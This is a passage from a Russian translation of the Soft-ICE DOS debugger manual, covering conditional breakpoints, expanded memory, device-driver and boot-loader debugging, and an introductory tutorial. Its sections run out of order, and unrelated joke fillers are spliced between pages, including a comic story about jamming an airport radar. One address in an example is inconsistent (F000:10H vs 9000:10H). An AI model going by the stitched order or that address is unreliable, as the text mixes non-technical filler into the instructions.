2. Направьте неиспользуемый вектор прерывания на вашу подпрограмму спецификации. Это может быть выполнено либо из вашего кода либо из Soft-ICE.
3. В Soft-ICE установите ACTION на номер-прерывания, который был использован, чтобы указывать на вашу подпрограмму спецификации.
4. В Soft-ICE установите I3HERE ON. Это необходимо, чтобы вызвать Soft-ICE после того, как были выполнены условия.
5. Установите общие условия точки останова Soft-ICE. Когда выполнится любое из этих условий точки останова, будет вызвана ваша подпрограмма спецификации.
11.2.1 Пример Пользовательской Точки Останова
Эта часть содержит пример пользовательской точки останова, которая проверяет условия AX = 3, BX = 4 и CX = 5, когда происходит выполнение точки останова.
Сначала мы создаем подпрограмму спецификации. Для целей этого примера, мы будем транслировать команды прямо в память при помощи интерактивного ассемблера Soft-ICE. Для этого примера мы будем произвольно транслировать подпрограмму с ячейки 9000:0H. В Soft-ICE, при этом, вводятся следующие выражения:
A 9000:0
9000:0 CMP AX,3
9000:3 JNE 10
9000:5 CMP BX,4
9000:7 JNE 10
9000:A CMP CX,5
9000:D JNE 10
9000:F INT3
9000:10 IRET
Теперь, когда подпрограмма находится в памяти, вы должны направить на нее вектор прерывания. Для этого примера, мы произвольно выбираем INT 99H. Чтобы поместить 9000:0H в вектор INT 99H, введите:
ED 0:99*4 9000:0
Установите команду ACTION, чтобы Soft-ICE вызывал вашу подпрограмму спецификации точки останова при каждом останове.
ACTION 99
Установите I3HERE, чтобы подпрограмма спецификации активизировала Soft-ICE при выполнении условий.
I3HERE ON
Теперь вы должны установить точки останова. Для этого примера, нас интересует только когда регистры: AX = 3, BX = 4, CX = 5 в специфической программе и нам не нужно никаких дальнейших уточнений. Чтобы это сделать, используйте точку останова на диапазон на чтение памяти:
BPR сегмент:начальное-смещения сегмент:конечное-смещение
Это вызовет обращение к вашей подпрограмме спецификации точки останова после выполнения каждой команды в указанном диапазоне памяти. Когда условия по регистрам не выполняются, тогда выполняется команда IRET. Когда условия, наконец, будут соответствовать указанным выражениям, будет выполнен INT 3 и вызван Soft-ICE.
Когда вызван Soft-ICE, указатель команд будет указывать на INT3 в вашей подпрограмме спецификации (9000:FH в нашем примере). Чтобы попасть на инструкцию после той, которая вызвала останов, вы должны изменить указатель команд, чтобы он указывал на команду IRET (F000:10H в примере) и выполнить один шаг. Это выполняется при помощи следующих команд Soft-ICE.
RIP IP + 1
T
После выполнения ваших условий останова, не забудьте изменить команду ACTION обратно на ACTION HERE, чтобы последующие точки останова не проходили через вашу подпрограмму спецификации.
11.3 Окно в Графическом Режиме
При вызове Soft-ICE экран переключается в текстовый режим. Если экран был в графическом режиме или режиме с 40 столбцами, графический дисплей не видим, то когда окно вызвано. Для пользователей, которые должны видеть графический дисплей при отладке, обеспечиваются три возможности. Первая возможность позволяет выводить окно Soft-ICE на второй монитор (см. команду ALTSCR, часть 5.9). Вторая возможность позволяет вам восстанавливать экран во время выполнения командных шагов P или T (см. команду FLASH, часть 5.9). Третья возможность позволяет вам временно восстанавливать экран программы (см. команду RS, часть 5.9).
Если не похоже, что Soft-ICE работает с вашей программой в графическом режиме, пробуйте включать WATCHV (для подробностей см. часть 5.9).
11.4 Возможности Отладки с Отображаемой Памятью
Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.
При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.
Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:
* В командах D, E, S и F адресная часть команды должна быть указана следующим образом:
Нуказатель# Рстраница# смещение
Где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:
DB H1 P3 0
Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.
* Команда C должна быть указана следующим образом:
C Нуказатель# Рстраница# смещение1 Lдлина смещение2
Где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:
C H2 P4 00 L10 1000 |
Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:
D 0:0 |
11.5 Возможности Отладки с Расширенной Памятью
Команды D, E, S, F и C могут использоваться, чтобы просматривать или изменять расширенную память. Расширенная память, зарезервированная Soft-ICE, не может выводиться на экран. Синтаксис этих команд подобен командам, используемым для стандартной памяти:
* В командах D, E, S и F адресная часть команды должна указываться следующим образом: M адрес мегабайта где мегабайт - номер, определяющий какой мегабайт использовать и адрес определяет адрес в указанном мегабайте. Пример:
DB M 2 0:0 |
Эта команда выведет дамп байтов с начала мегабайта, начинающегося с линейного адреса 200000H.
* Команда C должна указываться следующим образом:
C M мегабайт адрес1 L длина адрес2 |
Где мегабайт и адрес1 - то же, что и выше. адрес2 определяет адрес в указанном мегабайте, где находится второй блок данных для сравнения.
Руководство по Soft-ICE (DOS) - 23.
| Invalid user. Replace and strike any key to continue. |
Пример:
C M 3 1000:2000 L10 3000:4000 |
Эта команда будет сравнивать первые 10 байтов памяти, размещенной с 1000:2000, с первыми 10 байтами памяти, размещенной с 3000:4000.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать последний указанный мегабайт. Чтобы вернуться к мегабайту 0 (стандартная память), выполните одну из вышеупомянутых команд с 0, указанным как мегабайт, например:
D M 0 |
ГЛАВА 12
В автономном режиме Soft-ICE может быть мощным инструментом. Эта часть описывает технику отладки компонентов системного уровня, используя Soft-ICE в автономном режиме. При использовании Soft-ICE как автономного отладчика, ACTION должна быть установлена на HERE.
12.1 Загружаемые Драйверы Устройств
Отладка загружаемых драйверов устройств DOS требует отладчика, который не выполняет вызовов DOS. Soft-ICE может использоваться в автономном режиме, если ваш отладчик использует DOS.
Есть два метода отладки загружаемых драйверов устройств: 1. Используйте команду MAP, чтобы найти расположение вашего загружаемого драйвера. Просмотрите заголовок драйвера устройства, чтобы найти точку входа в прерывание или стратегию. Установка точки останова на вход в стратегию или прерывание даст вам контроль над драйвером устройства. Далее трассируйте или устанавливайте точки останова для продолжения отладки. Отладка кода инициализации драйвера устройства требует сброса системы командой BOOT. Используйте вышеописанную методику для установки точки останова в коде драйвера. Команда BOOT будет сохранять Soft-ICE и точки останова. 2. Второй метод требует размещения специального кода в вашем драйвере. Сделайте это при помощи команды I3HERE ON (см. раздел 5.4). Поместите опкод INT 3 (CCH) в ваш драйвер устройства в точке, где необходим контроль. Когда выполняется INT 3, управление переходит к Soft-ICE. Затем вы можете использовать команду R IP для установки указателя команд для переходов до и после опкода INT 3.
Если вы хотите отлаживать вашу последовательность инициализации, удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы пытаетесь отлаживать. Поместите команду I3HERE ON в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать команду BOOT.
Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту, вы должны загрузить файл символов и исходные файлы отдельно от драйвера устройства. Файл символов и исходные файлы загружаются загрузчиком программ Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и исходный текст, вы должны использовать его в форме:
LDR название-файла.SYM |
Должно быть указано расширение файла символов. См. часть 7.4 для больших подробностей относительно LDR.EXE.
После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны войти в Soft-ICE и переместить символы относительно начала вашего драйвера устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды SYMLOC:
SYMLOC сегмент |
Значение сегмента получается из команды MAP. См. описание команды SYMLOC для больших подробностей.
12.2 Программы Начальной Загрузки
Отладка программ начальной загрузки или самозагружающихся программ требует использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной загрузки - установка точки останова на известный адрес в загрузчике и затем использование команды BOOT для сброса системы. Soft-ICE сохраняется во время всего процесса начальной загрузки с установленными точками останова. Если тяжело найти известный адрес, то можно установить точку останова на выполнение в 7C0:0H перед использованием команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной загрузки в память.
Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод INT 3 (CCH) в вашу программу в точке, где необходим контроль. Когда выполняется INT 3, управление приходит к Soft-ICE. Вы также можете использовать как символьную, так и отладку по исходному тексту при отладке программы начальной загрузки. См. команду SYMLOC для большей информации о том, как переместить ваши символы и исходный текст в сегмент, в который загружена ваша программа начальной загрузки.
12.3 Обработчики Прерываний
Soft-ICE позволяет устанавливать точки останова и пошагово выполнять подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.). Пошаговое выполнение и установка точек останова в программах обработки прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода. В большинстве случаев при отладке программ обработки прерываний, Soft-ICE должен использоваться как автономный отладчик. Чтобы установить точку останова на адрес обработчика прерывания, используйте один из следующих методов:
1. Используйте команду вывода двойного слова:
DD номер-прерывания * 4 L 1 Выведенный адрес - адрес первой команды обработчика прерывания. Установите точку останова на выполнения на этот адрес.
2. Используйте команду:
BPINT номер-прерывания |
12.4 Операционные Системы, Отличные от DOS (non-DOS)
При помощи Soft-ICE могут отлаживаться операционные системы режима реальной адресации, отличные от DOS. Если операционная система слабо совместима с DOS, вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы запустить другую операционную систему. Следуйте инструкциям для отладки блоков начальной загрузки и самозагружающихся программ из раздела 12.2.
Команды MAP и WARN могут неправильно функционировать под другими операционными системами, но точки останова и другие отладочные команды будут работать правильно.
При отладке с символами или исходным текстом вы должны загрузить символьные и исходные файлы под DOS или в DOS-совместимом режиме вашей операционной системы.
ГЛАВА 13
13.1 Активизация Других Отладчиков
Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков используют однобайтовую команду INT 3 (CCH) для выполнения точек останова. Целевая команда заменяется на INT 3. Когда выполнение достигает целевого адреса, управление передается обработчику INT 3 отладчика. Затем отладчик заменяет (CCH) на первый байт первоначальной команды.
Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION, может произойти одно из нескольких событий. Обычно при использовании Soft-ICE с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие останова, Soft-ICE передает управление главному отладчику при помощи эмуляции INT 3.
Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI. INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается большинством отладчиков как средство выхода из зависания. Эти отладчики были разработаны для аппаратных переключателей выхода, которые производили немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION, установленным на NMI.
13.2 Основы Виртуальных Машин
Магия Soft-ICE стала возможной из-за возможностей виртуальной машины процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный контроль над окружением DOS, в то же время защищая его от "капризных" программ.
Как генерируются точки останова Soft-ICE?
Soft-ICE использует три разных возможности 80386 для создания точек останова:
* Точки останова на ячейку памяти используют регистры останова 80386 * Точки останова на диапазоны памяти используют механизм страничной организации 80386 * Точки останова на команды ввода/вывода используют уровень привилегий ввода/вывода и битовую маску ввода/вывода Как выполняется команда BREAK?
Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже когда прерывания отключены и система зависла. Soft-ICE виртуализирует механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются, даже когда они отключены для программы DOS, выполняющейся в виртуальной машине.
В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что флаг прерывания никогда не сбрасывается:
PUSHF POPF STI CLI INT n IRET |
Специальные соображения о виртуальном режиме 8086.
Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная особенность микропроцессора 80386. При выполнении программ реального режима (DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную машину, должны эмулироваться некоторые особенности 8086. В нашем случае виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие особенности:
* Функции прерывания ROM BIOS 15H : 87H, 88H и 89H * Недокументированная команда loadall * Управление Адресной Линией 20H * Команды защищенного режима 80286 и 80386 * Ошибки 80386.
Функции прерывания ROM BIOS 15H : 87H, 88H и 89H.
Функция BIOS 87H позволяет программе обращаться к памяти выше одного мегабайта на архитектуре IBM AT или Personal Series II через механизм перемещения блоков. Функция 88H возвращает размер расширенной памяти. Эти функции используются драйвером устройства VDISK. Soft-ICE эмулирует эти вызовы BIOS для совместимости с VDISK. Функция 89H обычно используется для перехода в защищенный режим, но Soft-ICE не может позволить этому случиться. Вместо этого возвращает установленный флаг переноса.
Неописанная команда loadall
80286 содержит неописанную команду, называемую loadall. Эта команда первоначально помещалась на чип в диагностических целях и в основном не используется программным обеспечением. Однако, она используется некоторыми версиями RAMDRIVE фирмы Microsoft, который продается с Microsoft Windows и MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить работу RAMDRIVE, однако, невозможно произвести полную эмуляцию этой команды.
Управление Адресной Линией 20H
IBM AT предоставляла специальную особенность, позволяющую некоторым старым программам, которые первоначально были написаны для CP/M функционировать на процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286. Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту способность. Она обеспечивается на всех машинах 80386 AT через контроллер клавиатуры и через порт ввода/вывода 92H на PS/2.
Руководство по Soft-ICE (DOS) - 24.
| 10 июня. Запускали малошумяший усилитель. Регистрирует импульсные помехи каждые 8 секунд. 11 июня. Анализировали спектр помех. Нашли источник. Это радар на городском аэродроме. 12 июня. Тестировали новые компьютеры. Фурье- и вейвлет преобразования идут на ура. Квейк тоже не тормозит. 13 июня. Тестировали мониторы. Через 3 минуты появился новый бот. Валили его втроем. На седьмой минуте забили окончательно. Прибежал шеф. Был очень лаконичен и сыпал яркими образами. Болят уши. Грустно. 14 июня. Экранировали усилитель. Заземляли. Заземлили все, что можно. Не помогает. Спирт тоже. С радаром надо кончать. 15 июня. Думали. Паяли схему. 18 июня. Утро. Включили усилитель. Давили радар новой схемой. Подбирали волну, фазу и форму импульса. Подавили. Помех на усилителе больше нет. Обед. На нас чуть не сел первый самолет. Вечер. Самолеты идут косяками. Выключили схему. За проходной ждали пилоты. Крепкие ребята с хорошей реакцией. Охрана нас отбила. Потом добавила. 19-22 июня. Душевные беседы с особистом. 23 июня. Приехали военные. Забрали схему. Очень хвалили. Потом пугали. Мы обещали молчать. К вечеру пришел журналист. Напоили его и завели на технический этаж. Оттуда еще никто быстро не выходил. Плутают как минимум сутки. 26 июня. С утра поддались боту в Квейк. Минут двадцать строили из себя мясо. Шеф пришел от себя довольный. Об увольнении уже нет и речи. Журналист, где-то голосит, но его надежно глушит вентиляция. 27 июня. Шеф на коне. Мы трое отдыхаем. Разгромный счет. Обидно. Анализировали причину неудач. Вечер. Искали журналиста. Остались на ночную смену. Нашли. Кидается гайками. Смеется и что-то пишет на своем ноутбуке. Оказывается, у него радиодоступ в Интернет. Завидую. 28 июня. Увы, у всех у нас плохая реакция. Руки на клавиатуре не успевают. Собирали манипуляторы с управлением от биотоков мозга. 29 июня. Отлаживали манипуляторы. Оказалось, реагируют на подсознательные образы. У всех синяки. Снизили чуствительность входных каскадов. Помогло. 30 июня. Убрали манипуляторы. Неспортивно и чревато увольнением. Приспособили их в горячую камеру, где работаем с радиоактивностью. Удобно, быстро. Остается больше времени на компьютеры. 3 июля. Приходил директор. Забрал манипуляторы. Просил сделать еще. Весь день пытались вспомнить управляющую схему. Не сумели. Курево не то. Спирта нет. Шеф опять на коне. В корпусе уже ходят легенды про неизвестного, ворующего еду и спирт. 4 июля. Приходил Вася. Бывший сотрудник. Теперь крутой. Хвастается GPS. Хам. Поспорили на его джип, что GPS ему не поможет. Не верит. 5 июля Готовились к спору. Окна джипа закрашены. Вася готов. Смеется. Мы тоже готовы. Нашли подходящий кабель для новой схемки. Главное, чтобы выдержала подстанция. 6 июля. Подстанция продержалась до обеда. Джип застрял в болоте километрах на 120 от города. Вася удивлен. Считал, что он посреди города. Мы рады. 7 июля. Уже не рады. Схемы нет. Прибора нет. Компьютеров нет. Заначенной бутыли тоже нет. Комнаты опечатаны. 8-20 июля. Сидим в КПЗ. Иногда встречи с особистом. Читаем в газетах о происшествиях с судами и самолетами, потерявшими ориентацию. 21 июля. Виделись с шефом. Говорит тихо. Нервничает. Дергается глаз. Хочет к маме. Ничего не помнит. 22 июля. Приходили военные. Сильно пугали. Немного хвалили. Просили работать на них. За такие деньги - и работать? Август. Мы были неправы. Надо было соглашаться. Теперь поздно. Осваиваем пилы и топоры. Спирт из местной древесины плохой. Работа идет медленно. Неэффективно. Надо что-то делать. Так, чтобы деревья сразу под корень, и ветки долой... Сентябрь. Сделали. Сидим в карцере. Говорят, разовый выруб пяти гектаров леса был заметен километров за 20... Жаль, установка тоже сгорела. Конвой косится и исподтишка бьет по почкам. Зря. Задеть казарму и поселок мы не хотели. Грустно. Ждем особиста и военных... SOS |
Команды защищенного режима 80286 и 80386
Некоторые специфические программы AT использовали команды защищенного режима 80286. С появлением 80386 некоторые программы 80386 используют команды защищенного режима 80386. Эти программы не будут работать с Soft-ICE.
Soft-ICE обеспечивает стандартные расширения режима реальной адресации, которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.
Ошибки 80386
Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся только к программному обеспечению защищенного режима (типа Soft-ICE).
Руководство по Soft-ICE (DOS) - 3.
| Настоящий хакер может взломать домофон из Пентагона и Пентагон из домофона. |
F10 - Выполняет подпрограмму или цикл (^P;) F11 - Перейти к адресу возврата (большая модель) (^G @SS:SP;) F12 - выводит номер версии Soft-ICE (^VER;).
Знак "сагеt" (^), предшествующий команде, делает ее невидимой, точка с запятой (;) после команды производит перевод строки. Вы можете вывести на экран текущие назначения функциональных клавиш, введя команду:
FKEY |
Для использования функциональной клавиши просто нажмите ее вместо ввода команды. При необходимости программирования функциональных клавиш, см. часть 5.8 для получения описания команды FKEY или главу 6 для получения описания предварительной инициализации функциональных клавиш в S-ICE.DAT.
3.10 Помощь
Команда помощи выводит краткое описание, синтаксис выражения и пример каждой команды. Чтобы получить информацию помощи, введите:
? или H -- выводит краткие описания всех команд и операторов ? команда или H команда -- выводит более детальную информацию по указанной команде, синтаксис и пример ? выражение или H выражение -- выводит значение выражения в шестнадцатеричном, десятичном и ASCII формате.
3.11 Обучающая Часть
Эта обучающая часть демонстрирует некоторые из возможностей Soft-ICE и дает вам возможность попробовать использовать Soft-ICE. Soft-ICE может быть использован вместе с другим отладчиком или как автономный отладчик. Обучающая часть демонстрирует использование Soft-ICE как дополнение к отладчику DOS DEBUG, а потом показывает, каким образом Soft-ICE может использоваться как автономный отладчик с загруженным исходным текстом и символами. DEBUG можно найти на системной дискете PC DOS или MS DOS. Если у вас нет DEBUG, вы можете найти другой отладчик или использовать Soft-ICE как автономный отладчик.
Пользователи, которым необходимо использовать Soft-ICE для "обратного проекти- рования" или для отладки загружаемых драйверов устройств DOS или резидентных программ, также должны пройти эту обучающую часть. Даже если примеры программ этих типов непосредственно не демонстрируются, вы получите представление об отладке при помощи Soft-ICE. Рекомендуется поэкспериментировать с Soft-ICE и вашим специфическим окружением до начала работы с реальным проектом.
Для демонстрации аппаратных точек останова используется короткая программа на языке ассемблера с тонким изъяном. Программа-пример была сделана максимально короткой и ясной для тех, кто не очень знаком с языком ассемблера. Обучающая часть предназначена для того, чтобы дать вам почувствовать возможности Soft-ICE. Не стесняйтесь экспериментировать по собственной инициативе после прохождения обучающей части.
Так как Soft-ICE очень гибок, он позволяет вам загружать его оптимальным для вашей системы образом. Пройдите процедуры установки в части 2.2 перед тем как продолжить изучать обучающую часть.
Если у вас в системе нет расширенной памяти, вы должны загрузить Soft-ICE из командной строки. При загрузке Soft-ICE из командной строки вы не сможете загружать символы или файлы с исходными текстами. В этом случае вы должны перейти к последней теме обучающей части, где Soft-ICE используется как автономный отладчик.
Soft-ICE может быть загружен из командной строки DOS или как драйвер устройства в CONFIG.SYS. Для этой обучающей части вы должны установить Soft-ICE в CONFIG.SYS с хотя бы 50КБ расширенной памяти для символов и файлов с исходным текстом. Soft-ICE должен быть первым драйвером устройства, установленным в CONFIG.SYS. Строка установки устройства должна выглядеть так:
DEVICE = диск:\путь\S-ICE.EXE /SYM 50 |
Параметр /SYM 50 указывает Soft-ICE резервировать 50 килобайтов расширенной памяти для символов и файла с исходным текстом. Этого недостаточно для решения реальных задач, но будет работать с нашей программой-примером.
Вы должны перезагрузить вашу систему после помещения этой строки в CONFIG.SYS.
Когда вы перезагрузите вашу систему, Soft-ICE выведет информацию об авторских правах, регистрационный номер, имя владельца этой копии Soft-ICE и количество расширенной памяти, зарезервированной для каждой компоненты Soft-ICE. В системе с 384КБ расширенной памяти начальный экран напоминает следующий:
Soft-ICE Ваше имя Название вашей компании # SInnnnnn Copr. (C) Nu-Mega Technologies 1987-1989 All Rights Reserved Soft-ICE Version 2.00 Soft-ICE is loaded from 00132000H up to 00160000H. 50K of symbol space reserved. 10K of back trace space reserved. 200 K of extended memory available.
Сообщение "Soft-ICE загружен ..." указывает вам точную область памяти, которая занята Soft-ICE и его компонентами. Если у вас Compaq или клон Compaq и включено слово COMPAQ в ваш файл S-ICE.DAT, вы также увидите сообщение : "Using high memory from XXXXXXXX to 00FE0000H".
Следующая строка сообщает, сколько памяти было зарезервировано под символы. Эта память используется для символов и файлов с исходными текстами.
Следующая строка сообщает, сколько памяти было зарезервировано для истории обратной трассировки. По умолчанию резервируется 10КБ. Эта область памяти используется командой SNAP и командой BPR с опциями T или TW.
Последняя строка сообщает вам, сколько памяти оставлено под обычную расширен- ную память. Эта память может использоваться другими программами, типа HIMEM, SMARTDRIVE, VDISK и т.д.
Перейдите в директорию вашего жесткого диска, в которую вы поместили все файлы с вашей дистрибутивной дискеты. Помните, что этот каталог должен быть доступен через переменную PATH.
Прежде чем начинать тяжелую отладку, давайте вызовем окно Soft-ICE и произведем его проверку. Очистите экран, введя:
CLS |
Вызовите окно Soft-ICE, нажав:
CTRL D |
Теперь окно Soft-ICE - на экране. Если ваш файл S-ICE.DAT доступен через переменную PATH, то окно Soft-ICE будет занимать весь экран. Он будет разделен на четыре части. Сверху вниз эти части : окно регистров, окно данных, окно кода и окно команд. Если S-ICE.DAT не был найден, у вас будет маленькое окно в центре экрана. Это также означает, что другие компоненты, необходимые для обучающей части, не были загружены.
Если видимо маленькое окно, вы должны:
1. Выйти из Soft-ICE, введя X. 2. Выгрузить Soft-ICE, введя S-ICE /U. 3. Скопировать файл S-ICE.DAT с дистрибутивной дискеты в каталог, доступный через существующую переменную PATH. 4. Повторно начать демонстрационный пример.
Сейчас мы перейдем к маленькому окну. Маленькое окно очень удобно для использования Soft-ICE в дополнение к другому отладчику.
Введите:
WIN |
Это приведет к появлению маленького окна команд в центре экрана вместо большо- го. На этом экране видно несколько команд Soft-ICE. Это - остатки строки инициализации из S-ICE.DAT, которые первоначально установили Soft-ICE в полноэкранный режим.
Вы заметите символ стимула (:) и строку состояния в нижней части окна.
Окно Soft-ICE может перемещаться относительно экрана, так же может быть отрегулирован размер окна.
Переместите окно по экрану, нажимая:
CTRL стрелка вверх-- перемещает окно на одну строку вверх CTRL стрелка вниз -- перемещает окно на одну строку вниз CTRL стрелка вправо -- перемещает окно на одну позицию вправо CTRL стрелка влево -- перемещает окно на одну позицию влево.
Измените размер окна так, чтобы оно заполнило весь экран, введя:
WIN |
Вы увидите, что восстановился первоначальный экран.
Вернитесь к маленькому окну, снова введя.
WIN. |
Сделайте окно выше или ниже, нажимая:
ALT стрелка вверх -- делает окно выше ALT стрелка вниз -- делает окно ниже.
Теперь представьте, что происходит, когда вы - перед новой программой и точно не знаете, что делать дальше -- вы просите помощи.
Получите помощь, введя:
? |
Обратите внимание, что вывод на экран прекращается до нажатия любой клавиши прежде чем прокрутить информацию по экрану. Посмотрите на строку состояния в в нижней части окна. В строке состояния выведены инструкции: "Любая клавиша - продолжение, ESC - отмена". Теперь нажмите любую клавишу, для продолжения вы- вода информации помощи. Продолжайте нажимать клавишу до повторного появления стимула (:).
Прокрутите информацию помощи назад, нажав.
SHIFT стрелка вниз.
Выведенная ранее информация может прокручиваться в окне команд при помощи клавиш shift вверх, shift вниз, page up и page down. Попробуйте разные клавиши для перемещения по информации помощи.
Средство помощи Soft-ICE дает вам краткий обзор каждой команды. Если вы введете знак вопроса (?) сопровождаемый названием команды, вы увидите экран, показывающий синтаксис команды, краткое описание команды и пример.
Попробуйте поэкспериментировать с помощью, вводя команды в следующем формате:
? команда |
Например,
? ALTKEY |
Если вы запутались, обратите внимание на сообщения в строке состояния в нижней части экрана.
Команда помощи также позволяет вам вычислять шестнадцатеричные выражения.
Например, введите:
? 10*2+42 |
Результирующий экран показывает вам значение выражения, сначала в шестнадцатеричном, потом десятичном, а потом в ASCII - представлении:
0062 00098 "b" |
Мы вызвали окно комбинацией клавиш CTRL D. Некоторых это устраивает, но вы можете предпочесть использовать другую комбинацию клавиш.
Теперь введем команду, чтобы изменить комбинацию клавиш, требуемую для вызова окна. Мы сделаем это шаг за шагом, так чтобы вы привыкли к строке состояния в нижней части окна.
Введите букву "A". Строка состояния покажет список всех команд, начинающихся с буквы "A". Завершите ввод слова "ALTKEY". Строка состояния теперь покажет короткое описание команды ALTKEY Нажмите "пробел". Строка состояния теперь покажет требуемый синтаксис для команды ALTKEY. Наберите буквы "ALT D" потом нажмите ВВОД, чтобы ввести полную команду:
ALTKEY ALT D |
Вы только что изменили комбинацию клавиш для вызова окна на ALT D. С этого времени вы должны нажать клавиши ALT D, чтобы вызвать окно. Так и оставим это во всей оставшейся обучающей части. Теперь давайте проверим предыдущую команду.
Для выхода из окна, введите:
ALT D |
Руководство по Soft-ICE (DOS) - 4.
| - Виндовс это не вирус. Вирусы не глючат. |
Окно Soft-ICE только что исчезло. Чтобы вернуться в окно Soft-ICE, отпустите клавишу ALT, а потом нажмите: ALT D.
Окно восстановилось. Для просмотра предыдущих команд, нажмите: клавишу стрелка вверх несколько раз.
Имейте в виду, что Soft-ICE помнит команды, которые были введены. Попробуйте отредактировать одну просто для забавы. Вот некоторые клавиши редактирования:
INS -- переключает режим вставки DEL -- Удаляет один символ HOME -- Перемещает курсор в начало строки END -- Перемещает курсор в конец строки стрелка вправо -- Перемещает курсор на символ вправо стрелка влево -- Перемещает курсор на символ влево.
Имейте в виду, что когда включен режим вставки, курсор принимает форму блока.
Теперь, когда вы немного знакомы с окружением, давайте, попробуем некоторые другие команды.
Сотрите команду, которую вы редактировали, нажав клавишу HOME, потом нажимая клавишу DEL пока команда не исчезнет.
Введите:
WR |
Команда WR делает видимым окно регистров. Окно регистров показывает содержимое регистров 8086. Заметьте что значения регистров отражают местоположение, где выполнялся код, когда вы вызвали Soft-ICE.
Команда WR назначена в файле инициализации Soft-ICE, S-ICE.DAT на функциональную клавишу F2.
Нажмите клавишу F2 несколько раз, и вы увидите, как включается/выключается окно регистров. Оставьте окно регистров видимым.
Увеличьте вертикальный размер окна Soft-ICE, держа нажатыми ALT и , пока окно не займет весь экран. Запомните значения регистров CS и IP в окне регистров, потом введите:
MAP |
Команда MAP покажет карту памяти системы. Область текущего указателя инструкций (CS:IP) будет подсвечена. Если у вас сложная карта памяти, вам может быть придется несколько раз нажать клавишу, пока вновь не появится командная строка.
Теперь попробуйте следующую последовательность несколько раз, запоминая регистры (CS:IP) в окне регистров.
ALT D |
Отпустите ALT и D.
ALT D |
Каждый раз при возвращении в окно Soft-ICE, вы будет замечать что регистры CS и IP изменились. Когда CS и IP изменились, вы может ввести команду MAP снова и посмотреть, показывает ли теперь указатель инструкций на другую область.
Это небольшое упражнение демонстрирует, что Soft-ICE является отладчиком системного уровня, который всплывает по горячей комбинации клавиш Soft-ICE, куда бы ни показывал указатель инструкций. Указатель инструкций непрерывно меняется, потому что выполняется множество команд между вызовами, даже когда вы - в командной строке DOS, типа прерываний таймера, работы драйверов устройств DOS, занятости DOS при ожидании других прерываний и т.д.
Нажмите функциональную клавишу F12.
Функциональной клавише F12 по умолчанию назначена команда VER. Она выводит сообщение об авторских правах на Soft-ICE и номер версии. Теперь мы назначим функциональной клавише F12 команду RS.
Введите:
RS |
Она временно покажет экран программы без окна Soft-ICE. Нажмите "пробел", чтобы вернуться в окно Soft-ICE.
Введите:
FKEY F12 RS; |
Это назначает команду RS на клавишу F12. Точка с запятой заменяет клавишу ВВОД.
Нажмите клавишу F12.
Повторите это несколько раз для переключения между окном Soft-ICE и экраном программы. Теперь удостоверьтесь, что выведено окно Soft-ICE, при необходимости, нажав клавишу F12. Вы заметите, что RS выведен в окне несколько раз. Одно появление на экране команды RS соответствует одному нажатию клавиши F12, чтобы показать экран программы.
Очистите окно Soft-ICE, введя:
CLS |
Введите:
FKEY F12 ^RS; |
